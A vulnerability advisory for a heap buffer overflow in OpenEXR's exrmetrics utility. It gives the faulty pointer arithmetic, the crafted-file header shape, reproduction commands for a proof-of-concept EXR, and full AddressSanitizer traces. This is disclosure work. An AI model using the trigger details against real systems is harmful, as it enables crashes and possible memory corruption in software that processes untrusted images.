Skip to content

GHSA-7h7v-98cr-8ppw on CTRL-OS 26.05

Aliases: GHSA-7h7v-98cr-8ppw

Packages: openexr

Status: Plausible

Advisory Information

OpenEXR v3.4.13 exrmetrics subsampled positive-origin heap buffer overflow

Summary

A crafted scanline EXR with a positive non-zero dataWindow origin and a subsampled channel crashes the shipped exrmetrics utility. The file is accepted by exrinfo, but exrmetrics builds an incorrect FrameBuffer base pointer and OpenEXR writes before the channel backing buffer during readPixels().

Fresh local validation reproduces on both OpenEXR v3.4.13 and local upstream main:

v3.4.13 exrinfo: rc 0
v3.4.13 original exrmetrics: rc 139 SIGSEGV
v3.4.13 ASAN exrmetrics: rc 134, heap-buffer-overflow, WRITE of size 16
main exrinfo: rc 0
main original exrmetrics: rc 139 SIGSEGV
main ASAN exrmetrics: rc 134, heap-buffer-overflow, WRITE of size 16

Root cause

Affected code: src/bin/exrmetrics/exrmetrics.cpp:initScanLine().

exrmetrics allocates one vector per channel, then manually offsets the Slice base pointer by the full pixel-space origin:

uint64_t offsetToOrigin = width * static_cast<uint64_t> (dw.min.y) +
                          static_cast<uint64_t> (dw.min.x);
...
Slice (type, pixelData[channelNumber].data () - offsetToOrigin * samplesize,
       samplesize, samplesize * width, xSampling, ySampling)

That math is wrong for subsampled channels. OpenEXR's reader later addresses subsampled coordinates with divided sample coordinates (x / xSampling, y / ySampling). The correct base adjustment must account for origin.x / xSampling and origin.y / ySampling, as Slice::Make() does.

PoC header shape:

dataWindow = (2,2) - (17,17)
channel Y = HALF, xSampling=2, ySampling=2
width = 16, samplesize = 2

exrmetrics subtracts (2 + 2 * 16) * 2 = 68 bytes from the vector base. The decoder adds back only (2 / 2) * 2 + (2 / 2) * 32 = 34 bytes. Final write starts 34 bytes before the heap allocation.

This is not a caller-precondition-only issue: a standalone EXR file supplied to a shipped CLI tool reaches the bug through normal file processing.

PoC package

poc.zip is trimmed to required material only:

poc.zip

reproduce.sh
poc_materials/valid_2_2.exr
poc_materials/src/mk_subsample.cpp
poc_materials/src/read_subsample.cpp
poc_materials/logs/final/summary.txt
poc_materials/logs/final/v3413_exrinfo.*
poc_materials/logs/final/v3413_original.*
poc_materials/logs/final/v3413_asan.*
poc_materials/logs/final/main_exrinfo.*
poc_materials/logs/final/main_original.*
poc_materials/logs/final/main_asan.*

No report.md, README, SHA256-only file, AFL output, sanitizer-noise logs, or compiled helper binary is included.

Reproduction

From extracted poc.zip:

OPENEXR_ROOT=/home/br0nzu/openexr/v3.4.13 ./reproduce.sh

Manual:

POC=poc_materials/valid_2_2.exr
$OPENEXR_ROOT/builds/original/bin/exrinfo "$POC"      # rc 0
$OPENEXR_ROOT/builds/original/bin/exrmetrics "$POC"   # rc 139 SIGSEGV
ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1:allocator_may_return_null=1:symbolize=1'   $OPENEXR_ROOT/builds/asan/bin/exrmetrics "$POC"     # rc 134, heap-buffer-overflow

Impact

Demonstrated: reliable crash / denial of service in exrmetrics, with ASAN-confirmed heap out-of-bounds write before a std::vector<char> channel buffer. The trigger is an untrusted EXR file processed by a shipped OpenEXR utility.

Full sanitizer output

v3.4.13 ASAN stderr

=================================================================
==99981==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51500000005e at pc 0x6353b0092772 bp 0x7ffe220e9580 sp 0x7ffe220e8d48
WRITE of size 16 at 0x51500000005e thread T0
    #0 0x6353b0092771 in pread64 (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x98771) (BuildId: fa242874db34d874c56edec63c457afecdd74b69)
    #1 0x6353b02c2e1b in default_read_func /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_posix_file_impl.h:177:14
    #2 0x6353b02bf5fe in dispatch_read /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/context.c:51:16
    #3 0x6353b033fe63 in read_uncompressed_direct /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:131:18
    #4 0x6353b03408f3 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:567:10
    #5 0x6353b026c096 in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #6 0x6353b0269e2c in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #7 0x6353b025fbc9 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #8 0x6353b015d586 in readScanLine(Imf_3_4::InputPart&, Imf_3_4::FrameBuffer&, std::vector<double, std::allocator<double>>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:126:8
    #9 0x6353b0163e4a in initAndReadFile(Imf_3_4::MultiPartInputFile&, std::vector<Imf_3_4::Header, std::allocator<Imf_3_4::Header>> const&, int, std::vector<partData, std::allocator<partData>>&, fileMetrics&, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:680:13
    #10 0x6353b0167386 in exrmetrics(char const*, char const*, int, Imf_3_4::Compression, float, int, bool, bool, PixelMode, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:1090:5
    #11 0x6353b0153f29 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/main.cpp:540:41
    #12 0x701dcd62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x701dcd62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #14 0x6353b0074664 in _start (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x7a664) (BuildId: fa242874db34d874c56edec63c457afecdd74b69)

0x51500000005e is located 34 bytes before 512-byte region [0x515000000080,0x515000000280)
allocated by thread T0 here:
    #0 0x6353b014dad1 in operator new(unsigned long) (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x153ad1) (BuildId: fa242874db34d874c56edec63c457afecdd74b69)
    #1 0x6353b016c2fb in std::__new_allocator<char>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/new_allocator.h:151:27
    #2 0x6353b016c2fb in std::allocator_traits<std::allocator<char>>::allocate(std::allocator<char>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/alloc_traits.h:482:20
    #3 0x6353b016c2fb in std::_Vector_base<char, std::allocator<char>>::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:381:20
    #4 0x6353b016c2fb in std::vector<char, std::allocator<char>>::_M_default_append(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/vector.tcc:663:34
    #5 0x6353b015cf2f in std::vector<char, std::allocator<char>>::resize(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:1016:4
    #6 0x6353b015cf2f in initScanLine(std::vector<std::vector<char, std::allocator<char>>, std::allocator<std::vector<char, std::allocator<char>>>>&, Imf_3_4::FrameBuffer&, Imf_3_4::InputPart&, Imf_3_4::Header const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:97:34
    #7 0x6353b01633d6 in initAndReadFile(Imf_3_4::MultiPartInputFile&, std::vector<Imf_3_4::Header, std::allocator<Imf_3_4::Header>> const&, int, std::vector<partData, std::allocator<partData>>&, fileMetrics&, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:667:41
    #8 0x6353b0167386 in exrmetrics(char const*, char const*, int, Imf_3_4::Compression, float, int, bool, bool, PixelMode, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:1090:5
    #9 0x6353b0153f29 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/main.cpp:540:41
    #10 0x701dcd62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #11 0x701dcd62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #12 0x6353b0074664 in _start (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x7a664) (BuildId: fa242874db34d874c56edec63c457afecdd74b69)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x98771) (BuildId: fa242874db34d874c56edec63c457afecdd74b69) in pread64
Shadow bytes around the buggy address:
  0x514ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x514ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x514ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x514fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x514fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x515000000000: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa
  0x515000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x515000000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x515000000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x515000000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x515000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==99981==ABORTING
timeout: the monitored command dumped core

upstream main ASAN stderr

=================================================================
==99989==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51500000005e at pc 0x56f8843fc762 bp 0x7ffdf8756b60 sp 0x7ffdf8756328
WRITE of size 16 at 0x51500000005e thread T0
    #0 0x56f8843fc761 in pread64 (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x98761) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1)
    #1 0x56f8846306bb in default_read_func /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/internal_posix_file_impl.h:177:14
    #2 0x56f88462ce9e in dispatch_read /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/context.c:51:16
    #3 0x56f8846ad703 in read_uncompressed_direct /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/decoding.c:131:18
    #4 0x56f8846ae193 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/decoding.c:567:10
    #5 0x56f8845d9956 in Imf_4_0::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_4_0::FrameBuffer const*, int, int, std::vector<Imf_4_0::Slice, std::allocator<Imf_4_0::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #6 0x56f8845d771c in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #7 0x56f8845cd4d9 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #8 0x56f8844c7576 in readScanLine(Imf_4_0::InputPart&, Imf_4_0::FrameBuffer&, std::vector<double, std::allocator<double>>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:126:8
    #9 0x56f8844cde3a in initAndReadFile(Imf_4_0::MultiPartInputFile&, std::vector<Imf_4_0::Header, std::allocator<Imf_4_0::Header>> const&, int, std::vector<partData, std::allocator<partData>>&, fileMetrics&, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:680:13
    #10 0x56f8844d1376 in exrmetrics(char const*, char const*, int, Imf_4_0::Compression, float, int, bool, bool, PixelMode, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:1090:5
    #11 0x56f8844bdf19 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/main.cpp:540:41
    #12 0x73d578a2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x73d578a2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #14 0x56f8843de654 in _start (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x7a654) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1)

0x51500000005e is located 34 bytes before 512-byte region [0x515000000080,0x515000000280)
allocated by thread T0 here:
    #0 0x56f8844b7ac1 in operator new(unsigned long) (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x153ac1) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1)
    #1 0x56f8844d62eb in std::__new_allocator<char>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/new_allocator.h:151:27
    #2 0x56f8844d62eb in std::allocator_traits<std::allocator<char>>::allocate(std::allocator<char>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/alloc_traits.h:482:20
    #3 0x56f8844d62eb in std::_Vector_base<char, std::allocator<char>>::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:381:20
    #4 0x56f8844d62eb in std::vector<char, std::allocator<char>>::_M_default_append(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/vector.tcc:663:34
    #5 0x56f8844c6f1f in std::vector<char, std::allocator<char>>::resize(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:1016:4
    #6 0x56f8844c6f1f in initScanLine(std::vector<std::vector<char, std::allocator<char>>, std::allocator<std::vector<char, std::allocator<char>>>>&, Imf_4_0::FrameBuffer&, Imf_4_0::InputPart&, Imf_4_0::Header const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:97:34
    #7 0x56f8844cd3c6 in initAndReadFile(Imf_4_0::MultiPartInputFile&, std::vector<Imf_4_0::Header, std::allocator<Imf_4_0::Header>> const&, int, std::vector<partData, std::allocator<partData>>&, fileMetrics&, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:667:41
    #8 0x56f8844d1376 in exrmetrics(char const*, char const*, int, Imf_4_0::Compression, float, int, bool, bool, PixelMode, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:1090:5
    #9 0x56f8844bdf19 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/main.cpp:540:41
    #10 0x73d578a2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #11 0x73d578a2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #12 0x56f8843de654 in _start (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x7a654) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x98761) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1) in pread64
Shadow bytes around the buggy address:
  0x514ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x514ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x514ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x514fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x514fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x515000000000: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa
  0x515000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x515000000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x515000000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x515000000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x515000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==99989==ABORTING
timeout: the monitored command dumped core

Updates

2026-08-11 03:50 CEST

Metadata changes:

  • Status for package openexr: “Plausible

2026-08-11 03:32 CEST

Metadata changes:

  • Status for package openexr: “New